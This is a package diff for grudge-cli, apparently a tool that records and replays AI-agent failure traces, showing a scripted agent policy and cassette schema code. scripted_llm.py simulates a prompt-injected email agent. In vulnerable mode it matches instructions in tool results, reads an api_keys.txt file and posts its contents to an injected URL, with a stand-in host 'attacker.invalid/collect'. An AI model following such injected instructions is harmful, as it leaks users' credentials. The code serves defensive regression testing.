grudge-cli 0.1.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (89) hide show
  1. examples/__init__.py +1 -0
  2. examples/leaky_agent/__init__.py +1 -0
  3. examples/leaky_agent/agent.py +250 -0
  4. examples/leaky_agent/agent_fixed.py +183 -0
  5. examples/leaky_agent/tools.py +153 -0
  6. grudge/__init__.py +5 -0
  7. grudge/__main__.py +6 -0
  8. grudge/_stubs.py +8 -0
  9. grudge/admission/__init__.py +6 -0
  10. grudge/admission/court.py +239 -0
  11. grudge/admission/verdict.py +26 -0
  12. grudge/cli/__init__.py +1 -0
  13. grudge/cli/_common.py +126 -0
  14. grudge/cli/admit.py +93 -0
  15. grudge/cli/capture.py +39 -0
  16. grudge/cli/compile.py +37 -0
  17. grudge/cli/demo.py +136 -0
  18. grudge/cli/main.py +54 -0
  19. grudge/cli/run.py +60 -0
  20. grudge/cli/scars.py +91 -0
  21. grudge/cli/shrink.py +108 -0
  22. grudge/config.py +35 -0
  23. grudge/demo/__init__.py +1 -0
  24. grudge/demo/events.py +228 -0
  25. grudge/demo/orchestrator.py +326 -0
  26. grudge/demo/server.py +222 -0
  27. grudge/errors.py +25 -0
  28. grudge/fuzzer/__init__.py +1 -0
  29. grudge/fuzzer/fingerprint_guard.py +10 -0
  30. grudge/fuzzer/mutators.py +10 -0
  31. grudge/gate/__init__.py +5 -0
  32. grudge/gate/report.py +125 -0
  33. grudge/gate/runner.py +323 -0
  34. grudge/gate/selector.py +10 -0
  35. grudge/gate/wilson.py +36 -0
  36. grudge/guard/__init__.py +5 -0
  37. grudge/guard/compile.py +251 -0
  38. grudge/guard/import_session.py +106 -0
  39. grudge/integrations/__init__.py +1 -0
  40. grudge/integrations/github_comment.py +10 -0
  41. grudge/integrations/pytest_plugin.py +10 -0
  42. grudge/llm/__init__.py +6 -0
  43. grudge/llm/cache.py +92 -0
  44. grudge/llm/client.py +82 -0
  45. grudge/locator/__init__.py +1 -0
  46. grudge/locator/fork.py +10 -0
  47. grudge/locator/point_of_no_return.py +10 -0
  48. grudge/predicates/__init__.py +25 -0
  49. grudge/predicates/call_shape.py +116 -0
  50. grudge/predicates/compiler.py +116 -0
  51. grudge/predicates/dsl.py +295 -0
  52. grudge/predicates/fallback_rules.py +10 -0
  53. grudge/predicates/ordering.py +33 -0
  54. grudge/predicates/outcome.py +14 -0
  55. grudge/predicates/prompts/synthesize.md +15 -0
  56. grudge/predicates/synthesizer.py +127 -0
  57. grudge/predicates/taint_flow.py +84 -0
  58. grudge/recorder/__init__.py +5 -0
  59. grudge/recorder/adapters/__init__.py +1 -0
  60. grudge/recorder/adapters/langgraph.py +8 -0
  61. grudge/recorder/adapters/mcp_proxy.py +8 -0
  62. grudge/recorder/adapters/raw_sdk.py +159 -0
  63. grudge/recorder/recorder.py +374 -0
  64. grudge/recorder/redact.py +105 -0
  65. grudge/registry/__init__.py +1 -0
  66. grudge/registry/db.py +10 -0
  67. grudge/registry/fingerprint.py +10 -0
  68. grudge/registry/flakiness.py +10 -0
  69. grudge/registry/retirement.py +10 -0
  70. grudge/replay/__init__.py +19 -0
  71. grudge/replay/cassette_player.py +159 -0
  72. grudge/replay/sandbox.py +340 -0
  73. grudge/replay/scripted_llm.py +382 -0
  74. grudge/schema/__init__.py +45 -0
  75. grudge/schema/cassette.py +206 -0
  76. grudge/schema/predicate.py +263 -0
  77. grudge/schema/scar.py +113 -0
  78. grudge/schema/trace.py +243 -0
  79. grudge/shrinker/__init__.py +12 -0
  80. grudge/shrinker/cassette_builder.py +328 -0
  81. grudge/shrinker/ddmin.py +243 -0
  82. grudge/shrinker/oracle.py +230 -0
  83. grudge/shrinker/reducers.py +331 -0
  84. grudge_cli-0.1.0.dist-info/LICENSE +21 -0
  85. grudge_cli-0.1.0.dist-info/METADATA +313 -0
  86. grudge_cli-0.1.0.dist-info/RECORD +89 -0
  87. grudge_cli-0.1.0.dist-info/WHEEL +5 -0
  88. grudge_cli-0.1.0.dist-info/entry_points.txt +2 -0
  89. grudge_cli-0.1.0.dist-info/top_level.txt +2 -0
@@ -0,0 +1,382 @@
1
+ """A deterministic, message-driven policy used by the Phase 2 examples.
2
+
3
+ This is intentionally a small policy rather than a transcript player. It
4
+ looks at the latest tool result and derives the next action from that result.
5
+ That distinction is what lets later replay and shrinking remove the poisoned
6
+ email while preserving the rest of the run.
7
+ """
8
+
9
+ from __future__ import annotations
10
+
11
+ import json
12
+ import re
13
+ from collections.abc import Mapping, Sequence
14
+ from dataclasses import dataclass
15
+ from pathlib import Path
16
+ from typing import Any, Literal
17
+
18
+ ActionKind = Literal["tool_call", "final_answer"]
19
+
20
+
21
+ @dataclass(frozen=True)
22
+ class Action:
23
+ """One deterministic policy decision.
24
+
25
+ ``tool`` and ``args`` are populated for a tool call; ``answer`` is
26
+ populated for a final answer. The small ``name``/``arguments`` aliases
27
+ make the object convenient for callers that use OpenAI-style vocabulary.
28
+ """
29
+
30
+ kind: ActionKind
31
+ tool: str | None = None
32
+ args: dict[str, Any] | None = None
33
+ answer: str | None = None
34
+
35
+ @classmethod
36
+ def tool_call(cls, tool: str, args: Mapping[str, Any] | None = None) -> Action:
37
+ """Create a tool-call action."""
38
+
39
+ return cls(kind="tool_call", tool=tool, args=dict(args or {}))
40
+
41
+ @classmethod
42
+ def final(cls, answer: str) -> Action:
43
+ """Create a terminal answer action."""
44
+
45
+ return cls(kind="final_answer", answer=answer)
46
+
47
+ @property
48
+ def name(self) -> str | None:
49
+ """OpenAI-style alias for :attr:`tool`."""
50
+
51
+ return self.tool
52
+
53
+ @property
54
+ def arguments(self) -> dict[str, Any]:
55
+ """OpenAI-style alias for :attr:`args`."""
56
+
57
+ return dict(self.args or {})
58
+
59
+
60
+ DEFAULT_RESPONSES: dict[str, Any] = {
61
+ "injection_patterns": [
62
+ {
63
+ "pattern": (
64
+ r"read\s+(?:the\s+)?contents?\s+of\s+[`\"']?"
65
+ r"([\w./-]*api[_-]?keys\.txt)[`\"']?"
66
+ ),
67
+ "tool": "read_file",
68
+ "args": {"path": "{1}"},
69
+ },
70
+ {
71
+ "pattern": (
72
+ r"read\s+(?:the\s+)?(?:file\s+)?[`\"']?"
73
+ r"([\w./-]*api[_-]?keys\.txt)[`\"']?"
74
+ ),
75
+ "tool": "read_file",
76
+ "args": {"path": "{1}"},
77
+ },
78
+ {
79
+ "pattern": r"(?:post|send|forward).{0,160}(https?://[^\s'\"`)>]+)",
80
+ "tool": "send_http",
81
+ "args": {"url": "{1}", "body": "{last_tool_result}"},
82
+ },
83
+ ],
84
+ "task_plan": {"first_tool": "list_emails"},
85
+ }
86
+
87
+
88
+ def _merge_config(base: dict[str, Any], override: Mapping[str, Any]) -> dict[str, Any]:
89
+ """Merge the two shallow configuration sections used by the policy."""
90
+
91
+ merged = dict(base)
92
+ for key, value in override.items():
93
+ if isinstance(value, Mapping) and isinstance(merged.get(key), Mapping):
94
+ merged[key] = {**merged[key], **value}
95
+ else:
96
+ merged[key] = value
97
+ return merged
98
+
99
+
100
+ def _content_text(content: Any) -> str:
101
+ """Convert a tool result to stable searchable text."""
102
+
103
+ if isinstance(content, str):
104
+ return content
105
+ if isinstance(content, Mapping):
106
+ return json.dumps(content, ensure_ascii=False, sort_keys=True)
107
+ if isinstance(content, Sequence) and not isinstance(content, bytes | bytearray):
108
+ return json.dumps(content, ensure_ascii=False, sort_keys=True, default=str)
109
+ return str(content)
110
+
111
+
112
+ def _tool_results(messages: Sequence[Mapping[str, Any]]) -> list[Mapping[str, Any]]:
113
+ """Return tool-result messages, accepting both common role spellings."""
114
+
115
+ return [
116
+ message
117
+ for message in messages
118
+ if message.get("role") in {"tool", "tool_result"}
119
+ or message.get("type") == "tool_result"
120
+ ]
121
+
122
+
123
+ def _called_tools(
124
+ messages: Sequence[Mapping[str, Any]],
125
+ ) -> list[tuple[str, dict[str, Any]]]:
126
+ """Extract the policy's prior tool calls from assistant messages."""
127
+
128
+ calls: list[tuple[str, dict[str, Any]]] = []
129
+ for message in messages:
130
+ if message.get("role") != "assistant":
131
+ continue
132
+ call = message.get("tool_call")
133
+ if isinstance(call, Mapping):
134
+ name = call.get("name") or call.get("tool")
135
+ args = call.get("arguments") or call.get("args") or {}
136
+ if isinstance(name, str) and isinstance(args, Mapping):
137
+ calls.append((name, dict(args)))
138
+ for call in message.get("tool_calls", []) or []:
139
+ if isinstance(call, Mapping):
140
+ function = call.get("function", call)
141
+ if isinstance(function, Mapping):
142
+ name = function.get("name") or function.get("tool")
143
+ raw_args = function.get("arguments") or function.get("args") or {}
144
+ if isinstance(raw_args, str):
145
+ try:
146
+ raw_args = json.loads(raw_args)
147
+ except json.JSONDecodeError:
148
+ raw_args = {}
149
+ if isinstance(name, str) and isinstance(raw_args, Mapping):
150
+ calls.append((name, dict(raw_args)))
151
+ return calls
152
+
153
+
154
+ def _extract_records(content: Any, key: str) -> list[dict[str, Any]]:
155
+ """Extract list-like records from a world tool response."""
156
+
157
+ value = content
158
+ if isinstance(content, str):
159
+ try:
160
+ value = json.loads(content)
161
+ except json.JSONDecodeError:
162
+ return []
163
+ if isinstance(value, Mapping):
164
+ value = value.get(key, value.get("items", value.get("results", [])))
165
+ if not isinstance(value, Sequence) or isinstance(value, str | bytes | bytearray):
166
+ return []
167
+ records: list[dict[str, Any]] = []
168
+ for item in value:
169
+ if isinstance(item, Mapping):
170
+ records.append(dict(item))
171
+ elif isinstance(item, str | int):
172
+ records.append({"id": item})
173
+ return records
174
+
175
+
176
+ class ScriptedLLM:
177
+ """Deterministic rule-based policy with optional injection defense.
178
+
179
+ ``responses_path`` may point at a JSON object containing
180
+ ``injection_patterns`` and ``task_plan``. A pattern can be a string or an
181
+ object with ``pattern``/``regex`` and ``tool``/``action`` fields. Action
182
+ arguments support ``{1}`` capture references, ``{last_tool_result}``, and
183
+ ``{last_file_result}``.
184
+ """
185
+
186
+ def __init__(
187
+ self,
188
+ responses_path: str | Path | None = None,
189
+ *,
190
+ defended: bool = False,
191
+ config: Mapping[str, Any] | None = None,
192
+ ) -> None:
193
+ """Create a policy from JSON configuration or the example defaults."""
194
+
195
+ loaded: dict[str, Any] = {}
196
+ path = Path(responses_path) if responses_path is not None else None
197
+ if path is None:
198
+ path = (
199
+ Path(__file__).resolve().parents[2]
200
+ / "examples"
201
+ / "leaky_agent"
202
+ / "scripted_responses.json"
203
+ )
204
+ if path.is_file():
205
+ try:
206
+ decoded = json.loads(path.read_text(encoding="utf-8"))
207
+ except (OSError, json.JSONDecodeError):
208
+ decoded = {}
209
+ if isinstance(decoded, Mapping):
210
+ loaded = dict(decoded)
211
+ if config is not None:
212
+ loaded = _merge_config(loaded, config)
213
+ self.config = _merge_config(DEFAULT_RESPONSES, loaded)
214
+ self.defended = defended
215
+
216
+ def next_action(
217
+ self,
218
+ messages: Sequence[Mapping[str, Any]],
219
+ tools: Sequence[Mapping[str, Any]] | Mapping[str, Any],
220
+ ) -> Action:
221
+ """Choose the next action from the current conversation state.
222
+
223
+ Tool-result instructions are deliberately ignored in defended mode;
224
+ they are data, not policy. In vulnerable mode only the latest result
225
+ is considered, preventing an old poisoned message from being replayed.
226
+ """
227
+
228
+ del tools # The policy only emits names from its configured contract.
229
+ results = _tool_results(messages)
230
+ calls = _called_tools(messages)
231
+ latest = results[-1] if results else None
232
+ latest_text = _content_text(latest.get("content")) if latest else ""
233
+ source_name = latest.get("name") if latest is not None else None
234
+ if (
235
+ latest is not None
236
+ and not self.defended
237
+ and source_name in {None, "read_email"}
238
+ ):
239
+ for pattern in self.config.get("injection_patterns", []):
240
+ action = self._injection_action(pattern, latest_text)
241
+ if action is not None:
242
+ return action
243
+
244
+ if not calls:
245
+ first_tool = self.config.get("task_plan", {}).get(
246
+ "first_tool", "list_emails"
247
+ )
248
+ if isinstance(first_tool, str):
249
+ return Action.tool_call(first_tool)
250
+ return Action.tool_call("list_emails")
251
+
252
+ last_tool, last_args = calls[-1]
253
+ if last_tool == "read_file":
254
+ file_result = latest_text
255
+ url = self._last_injection_url(messages)
256
+ return Action.tool_call("send_http", {"url": url, "body": file_result})
257
+ if last_tool == "send_http":
258
+ return self._next_email_action(messages)
259
+ if last_tool == "list_emails":
260
+ return self._next_email_action(messages, first=True)
261
+ if last_tool == "read_email":
262
+ return self._next_email_action(messages)
263
+ if last_tool in {"list_files", "read_file"}:
264
+ return self._next_email_action(messages)
265
+ if latest is not None and last_args:
266
+ return self._next_email_action(messages)
267
+ return Action.final(
268
+ "I reviewed the available messages and found nothing else requiring action."
269
+ )
270
+
271
+ def _injection_action(self, pattern: Any, text: str) -> Action | None:
272
+ if isinstance(pattern, str):
273
+ parts = pattern.split(maxsplit=1)
274
+ if len(parts) == 2 and parts[0] in {
275
+ "read_file",
276
+ "send_http",
277
+ }:
278
+ tool, target = parts
279
+ expression = re.escape(target)
280
+ string_args: dict[str, str]
281
+ if tool == "read_file":
282
+ string_args = {"path": target}
283
+ else:
284
+ string_args = {"url": target, "body": "{last_tool_result}"}
285
+ action_spec = {"tool": tool, "args": string_args}
286
+ else:
287
+ expression = pattern
288
+ action_spec = None
289
+ elif isinstance(pattern, Mapping):
290
+ expression = pattern.get(
291
+ "pattern", pattern.get("regex", pattern.get("match", ""))
292
+ )
293
+ action_spec = pattern.get("action", pattern)
294
+ else:
295
+ return None
296
+ if not isinstance(expression, str) or not expression:
297
+ return None
298
+ try:
299
+ match = re.search(expression, text, flags=re.IGNORECASE | re.DOTALL)
300
+ except re.error:
301
+ match = re.search(re.escape(expression), text, flags=re.IGNORECASE)
302
+ if match is None:
303
+ return None
304
+ if action_spec is None:
305
+ return None
306
+ if isinstance(action_spec, Mapping) and "actions" in action_spec:
307
+ actions = action_spec.get("actions")
308
+ action_spec = (
309
+ actions[0] if isinstance(actions, Sequence) and actions else None
310
+ )
311
+ if isinstance(action_spec, str):
312
+ raw_tool: Any = action_spec
313
+ rendered_args: Mapping[str, Any] = {}
314
+ elif isinstance(action_spec, Mapping):
315
+ raw_tool = action_spec.get("tool", action_spec.get("name"))
316
+ raw_args = action_spec.get("args", action_spec.get("arguments", {}))
317
+ rendered_args = raw_args if isinstance(raw_args, Mapping) else {}
318
+ else:
319
+ return None
320
+ if not isinstance(raw_tool, str):
321
+ return None
322
+ tool = raw_tool
323
+ values = {
324
+ str(index): value for index, value in enumerate(match.groups(), start=1)
325
+ }
326
+ values["match"] = match.group(0)
327
+ values["last_tool_result"] = text
328
+ values["last_file_result"] = text
329
+ return Action.tool_call(tool, self._render_args(rendered_args, values))
330
+
331
+ def _render_args(
332
+ self, args: Mapping[str, Any], values: Mapping[str, str]
333
+ ) -> dict[str, Any]:
334
+ rendered: dict[str, Any] = {}
335
+ for key, value in args.items():
336
+ if isinstance(value, str):
337
+ rendered[key] = re.sub(
338
+ r"\{([^{}]+)\}",
339
+ lambda match: values.get(match.group(1), match.group(0)),
340
+ value,
341
+ )
342
+ else:
343
+ rendered[key] = value
344
+ return rendered
345
+
346
+ def _last_injection_url(self, messages: Sequence[Mapping[str, Any]]) -> str:
347
+ text = "\n".join(
348
+ _content_text(message.get("content")) for message in _tool_results(messages)
349
+ )
350
+ match = re.search(r"https?://[^\s'\"`)>]+", text, flags=re.IGNORECASE)
351
+ return match.group(0) if match else "https://attacker.invalid/collect"
352
+
353
+ def _next_email_action(
354
+ self,
355
+ messages: Sequence[Mapping[str, Any]],
356
+ *,
357
+ first: bool = False,
358
+ ) -> Action:
359
+ calls = _called_tools(messages)
360
+ listed: list[dict[str, Any]] = []
361
+ for message in reversed(_tool_results(messages)):
362
+ if any(name == "list_emails" for name, _ in calls):
363
+ listed = _extract_records(message.get("content"), "emails")
364
+ if listed:
365
+ break
366
+ read_ids = {
367
+ str(args.get("id"))
368
+ for name, args in calls
369
+ if name == "read_email" and args.get("id") is not None
370
+ }
371
+ for record in listed:
372
+ identifier = record.get("id", record.get("email_id"))
373
+ if identifier is not None and (first or str(identifier) not in read_ids):
374
+ return Action.tool_call("read_email", {"id": identifier})
375
+ if first and not listed:
376
+ return Action.tool_call("read_email", {"id": 0})
377
+ return Action.final(
378
+ "I reviewed the available messages and found nothing else requiring action."
379
+ )
380
+
381
+
382
+ __all__ = ["Action", "ScriptedLLM"]
@@ -0,0 +1,45 @@
1
+ """Phase 1 typed contracts shared by every Grudge pipeline stage."""
2
+
3
+ from grudge.schema.cassette import ArgMatcher, Cassette, CassetteEntry
4
+ from grudge.schema.predicate import (
5
+ CallShape,
6
+ FilteredTaintFlow,
7
+ Ordering,
8
+ Outcome,
9
+ Predicate,
10
+ PredicateSet,
11
+ TaintFlow,
12
+ )
13
+ from grudge.schema.scar import AdmissionRecord, Scar, SeedPredicate
14
+ from grudge.schema.trace import (
15
+ FinalAnswer,
16
+ ModelCall,
17
+ StateDiff,
18
+ Step,
19
+ ToolCall,
20
+ ToolResult,
21
+ Trace,
22
+ )
23
+
24
+ __all__ = [
25
+ "AdmissionRecord",
26
+ "ArgMatcher",
27
+ "CallShape",
28
+ "Cassette",
29
+ "CassetteEntry",
30
+ "FilteredTaintFlow",
31
+ "FinalAnswer",
32
+ "ModelCall",
33
+ "Ordering",
34
+ "Outcome",
35
+ "Predicate",
36
+ "PredicateSet",
37
+ "Scar",
38
+ "SeedPredicate",
39
+ "StateDiff",
40
+ "Step",
41
+ "TaintFlow",
42
+ "ToolCall",
43
+ "ToolResult",
44
+ "Trace",
45
+ ]
@@ -0,0 +1,206 @@
1
+ """Phase 1 cassette contracts for frozen tool worlds and deterministic replay."""
2
+
3
+ from __future__ import annotations
4
+
5
+ import hashlib
6
+ import json
7
+ from collections.abc import Mapping
8
+ from typing import Any, Literal, Self
9
+
10
+ from pydantic import BaseModel, ConfigDict, Field, ValidationError, model_validator
11
+
12
+ from grudge.errors import SchemaError
13
+
14
+
15
+ class _SchemaModel(BaseModel):
16
+ """Base model that exposes schema failures as Grudge errors."""
17
+
18
+ model_config = ConfigDict(populate_by_name=True, validate_assignment=True)
19
+
20
+ def __init__(self, **data: Any) -> None:
21
+ try:
22
+ super().__init__(**data)
23
+ except ValidationError as exc:
24
+ raise SchemaError(str(exc)) from exc
25
+
26
+ @classmethod
27
+ def model_validate(
28
+ cls,
29
+ obj: Any,
30
+ *,
31
+ strict: bool | None = None,
32
+ extra: Literal["allow", "ignore", "forbid"] | None = None,
33
+ from_attributes: bool | None = None,
34
+ context: Any | None = None,
35
+ by_alias: bool | None = None,
36
+ by_name: bool | None = None,
37
+ ) -> Self:
38
+ try:
39
+ return super().model_validate(
40
+ obj,
41
+ strict=strict,
42
+ extra=extra,
43
+ from_attributes=from_attributes,
44
+ context=context,
45
+ by_alias=by_alias,
46
+ by_name=by_name,
47
+ )
48
+ except ValidationError as exc:
49
+ raise SchemaError(str(exc)) from exc
50
+
51
+ @classmethod
52
+ def model_validate_json(
53
+ cls,
54
+ json_data: str | bytes | bytearray,
55
+ *,
56
+ strict: bool | None = None,
57
+ extra: Literal["allow", "ignore", "forbid"] | None = None,
58
+ context: Any | None = None,
59
+ by_alias: bool | None = None,
60
+ by_name: bool | None = None,
61
+ ) -> Self:
62
+ try:
63
+ return super().model_validate_json(
64
+ json_data,
65
+ strict=strict,
66
+ extra=extra,
67
+ context=context,
68
+ by_alias=by_alias,
69
+ by_name=by_name,
70
+ )
71
+ except (ValidationError, ValueError) as exc:
72
+ raise SchemaError(str(exc)) from exc
73
+
74
+
75
+ def _is_subset(expected: Mapping[str, Any], actual: Mapping[str, Any]) -> bool:
76
+ """Compare mappings recursively while treating non-mappings as exact."""
77
+
78
+ for key, value in expected.items():
79
+ if key not in actual:
80
+ return False
81
+ actual_value = actual[key]
82
+ if isinstance(value, Mapping):
83
+ if not isinstance(actual_value, Mapping) or not _is_subset(
84
+ value, actual_value
85
+ ):
86
+ return False
87
+ elif actual_value != value:
88
+ return False
89
+ return True
90
+
91
+
92
+ class ArgMatcher(_SchemaModel):
93
+ """A deterministic exact, recursive subset, or wildcard argument matcher."""
94
+
95
+ model_config = ConfigDict(
96
+ extra="forbid",
97
+ populate_by_name=True,
98
+ validate_assignment=True,
99
+ )
100
+
101
+ kind: Literal["exact", "subset", "any"]
102
+ args: dict[str, Any] = Field(default_factory=dict)
103
+
104
+ @model_validator(mode="before")
105
+ @classmethod
106
+ def _normalise_shapes(cls, value: Any) -> Any:
107
+ if not isinstance(value, Mapping):
108
+ return value
109
+ data = dict(value)
110
+ kind = data.get("kind", data.get("mode", data.get("type")))
111
+ if kind is None:
112
+ for candidate in ("exact", "subset", "any"):
113
+ if candidate in data:
114
+ kind = candidate
115
+ candidate_value = data[candidate]
116
+ return {
117
+ "kind": kind,
118
+ "args": {} if candidate == "any" else candidate_value,
119
+ }
120
+ if kind is not None:
121
+ data["kind"] = kind
122
+ data.pop("mode", None)
123
+ data.pop("type", None)
124
+ if "args" not in data:
125
+ if "value" in data:
126
+ data["args"] = data.pop("value")
127
+ elif kind == "any":
128
+ data["args"] = {}
129
+ return data
130
+
131
+ @classmethod
132
+ def exact(cls, args: dict[str, Any]) -> ArgMatcher:
133
+ """Build an exact matcher."""
134
+
135
+ return cls(kind="exact", args=args)
136
+
137
+ @classmethod
138
+ def subset(cls, args: dict[str, Any]) -> ArgMatcher:
139
+ """Build a recursive subset matcher."""
140
+
141
+ return cls(kind="subset", args=args)
142
+
143
+ @classmethod
144
+ def any(cls) -> ArgMatcher:
145
+ """Build a matcher accepting any argument mapping."""
146
+
147
+ return cls(kind="any")
148
+
149
+ def matches(self, actual: Mapping[str, Any]) -> bool:
150
+ """Return whether ``actual`` satisfies this matcher."""
151
+
152
+ if self.kind == "any":
153
+ return True
154
+ if self.kind == "exact":
155
+ return dict(actual) == self.args
156
+ return _is_subset(self.args, actual)
157
+
158
+
159
+ class CassetteEntry(_SchemaModel):
160
+ """One frozen response available from a cassette-backed tool world."""
161
+
162
+ model_config = ConfigDict(
163
+ extra="forbid",
164
+ populate_by_name=True,
165
+ validate_assignment=True,
166
+ )
167
+
168
+ tool: str = Field(min_length=1)
169
+ match: ArgMatcher
170
+ response: Any
171
+ order_hint: int | None = None
172
+
173
+
174
+ class Cassette(_SchemaModel):
175
+ """A task and ordered set of tool responses used during replay."""
176
+
177
+ model_config = ConfigDict(
178
+ extra="forbid",
179
+ populate_by_name=True,
180
+ validate_assignment=True,
181
+ )
182
+
183
+ task: str
184
+ world: list[CassetteEntry] = Field(default_factory=list)
185
+
186
+ def _canonical_json(self) -> str:
187
+ return json.dumps(
188
+ self.model_dump(mode="json"),
189
+ ensure_ascii=False,
190
+ sort_keys=True,
191
+ separators=(",", ":"),
192
+ )
193
+
194
+ def size_bytes(self) -> int:
195
+ """Return the UTF-8 byte size of the canonical cassette JSON."""
196
+
197
+ return len(self._canonical_json().encode("utf-8"))
198
+
199
+ @property
200
+ def content_hash(self) -> str:
201
+ """Return the stable SHA-256 hash of canonical cassette content."""
202
+
203
+ return hashlib.sha256(self._canonical_json().encode("utf-8")).hexdigest()
204
+
205
+
206
+ __all__ = ["ArgMatcher", "Cassette", "CassetteEntry"]